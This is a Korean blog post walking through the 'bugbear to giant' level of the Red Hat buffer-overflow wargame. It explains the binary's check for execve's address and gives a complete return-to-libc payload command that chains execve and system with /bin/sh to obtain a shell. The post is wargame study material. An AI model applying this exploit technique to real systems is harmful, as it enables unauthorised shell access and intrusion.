BOF redhat 원정대 bugbear -> gaint
gaint, gaint.c
코드를 보면 argv를 받고 라이브러리 주소와 함수의 오프셋값을 이용해서 execve함수의 주소값을 저장해 놓는다. 그리고 argv에서 44번째부터 4개가 execve함수의 주소가 맞는지 검사를 한다.
입력값에 execve함수의 주소만 맞추어 프로그램 종료 루틴으로 들어가지만 않게 되면 이전 문제에서 사용하였던 오메가 공격을 할 수 있다.
gdb로 execve 함수의 주소를 찾아보자.
execve, system함수의 주소를 찾았다. execve 함수를 사용하여 쉘을 실행하기엔 함수가 사용자 친화적이지 않기때문에 해줘야할 것이 많다. 그래서 system함수를 사용하여 쉘을 얻는 것이 쉽다.
페이로드는
[버퍼][SFP][RET]
[ 놉 ][execve][system][AAAA][bin/sh]
로 구성하고 공격을 수행하면
쉘을 얻을 수 있다.
쉘코드 :
./giant "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`"
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
프로그램은 실행하면서 많은 함수를 호출한다. 함수가 호출되고 호출받은 함수가 실행되려면 레지스터와 스택을 사용해야 한다. 버퍼오버플로우 공격을 공부하면서 호출된 함수가 어떻게 esp (스택을 관리하는 레지스터)를 백업하는지 어떻게 스택을 독립적으로 ...
-
METASPLOIT 사용법 Metasploit 은 펄스크립트를 사용하는 침투테스트도구이다 . 1. METASPLOIT 경로 metasploit 은 Kali Linux 에 기본적으로 설치되어 있다 . Kali 기준으로 경로는...
-
linux system call mlock() 메모리의 페이지 잠금 munlock() 메모리의 페이지 잠금 풀기 mlockall() 호출한 프로세스의 페이징을 금지시킨다. munlockall() 호출한 프로세스에 대한 페이징을 다시 가능하도록...
-
_start, __libc_start_main, main hello를 출력하는 hello C언어로 작성한 간단한 elf파일의 헤더를 보면 실행파일의 시작주소값인 Entry point address에 _start 의 주소가 들...
-
linux header 설치 linux kernel은 일반적으로 컴파일된 바이너리로 여러 경로에 흩어져 있다. linux header 는 kernel을 위한 소스코드고 보통 커널 모듈을 빌드하는데 필요하다. sudo apt-get ins...
환경변수 path에 /bin이 추가되있음에도 불구하고 execve() 함수의인자로 절대경로인 /bin/sh를 주는 이유는 execve()함수의 특성. system()는 sh만 인자로 줘도 실행된다.
답글삭제